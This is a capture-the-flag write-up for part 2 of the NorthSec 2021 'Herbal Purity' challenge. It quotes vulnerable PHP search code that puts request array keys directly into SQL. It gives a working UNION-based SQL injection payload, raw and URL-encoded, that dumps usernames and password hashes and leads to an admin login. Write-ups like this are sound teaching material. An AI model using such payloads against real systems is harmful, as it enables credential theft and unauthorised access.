NSEC21 Herbal Purity (2/3) - Wed, May 26, 2021 - Jean Privat Sideni
Clean Your Body and Your PHP Code | Web Php Sqli | Nsec21
The first flag is in part 1
The Men of Memphis and Tahpanhes Have Cracked Your SQL
We can now access pages, except those related to the healers, but appointments.php
, followers.php
, products.php
and the related pages are available to us.
All these pages are basically the same and can be used to query and update some simple tables in the sqlite3 database.
The search pages, for instance rely on the same php code, located at ./include/Search.php
where there is this function:
public function fetchAll() {
$sql = [];
foreach($this->query as $field => $value) {
$sql[] = "(`$field` LIKE '%' || :$field || '%')";
}
$sql = "select * from {$this->model->table} where " . implode(" OR ", $sql);
$stmt = $this->model->connection()->prepare($sql);
foreach($this->query as $field => $value) {
$stmt->bindValue(":$field", $value);
}
$rows = [];
$results = $stmt->execute();
while ($row = $results->fetchArray(SQLITE3_ASSOC)) {
$rows[] = $row;
}
return $rows;
}
Requests are prepared but there is still an inclusion with the $field
variable inside the $sql
query.
$field
comes from $this->query
that is an array of queries, for instance ["name"=>"john"]
.
And these queries directly comes from the HTTP request thanks to a special PHP feature that parse some HTTP parameters as an array (in php, arrays are ordered map that can be used as a simple array and a dictionary).
Basically with a query search[name]=john
the parameter search
will be the array ["name"=>"john"]
.
The sql injection is on the $field
variable that corresponds to the key of the array.
Ok, but we already can access (and even modify) all the tables for appointments, followers and products… All except healers that contains names and password hashes of the users (according to include/Healers.php
)
Lets build a suitable value for $field
:
name`!='') UNION SELECT * FROM healers --
That will become the following urlencoded parameter (we do not care about the value)
search[name`!%3d'')+UNION+SELECT+*+FROM+healers+--]=a
We have now the list of all users, including admin and its weird password hash: FLAG-8b8e9af1ebc8a8f65d5c4f502c29f15a
(2/3)
I Will Give Ten Thousand Talents of Silver to the King’s Administrators
We have the hashed password of the admin.
This is weird since it is unlikely that FLAG-...
is the hash of something.
Inside include/LoginPage.php
:
if(str_starts_with($user['password_hash'], 'FLAG-')) {
$user['password_hash'] = sha1($user['password_hash']);
}
So, if the hash is a flag, then the hash is the hash of the hash… 🤔 Oh, the flag is the password.
We are now admin and can legally access more pages:
create_healers.php
healers.php
reset_healers.php
edit_healers.php
And now?
The third flag is in part 3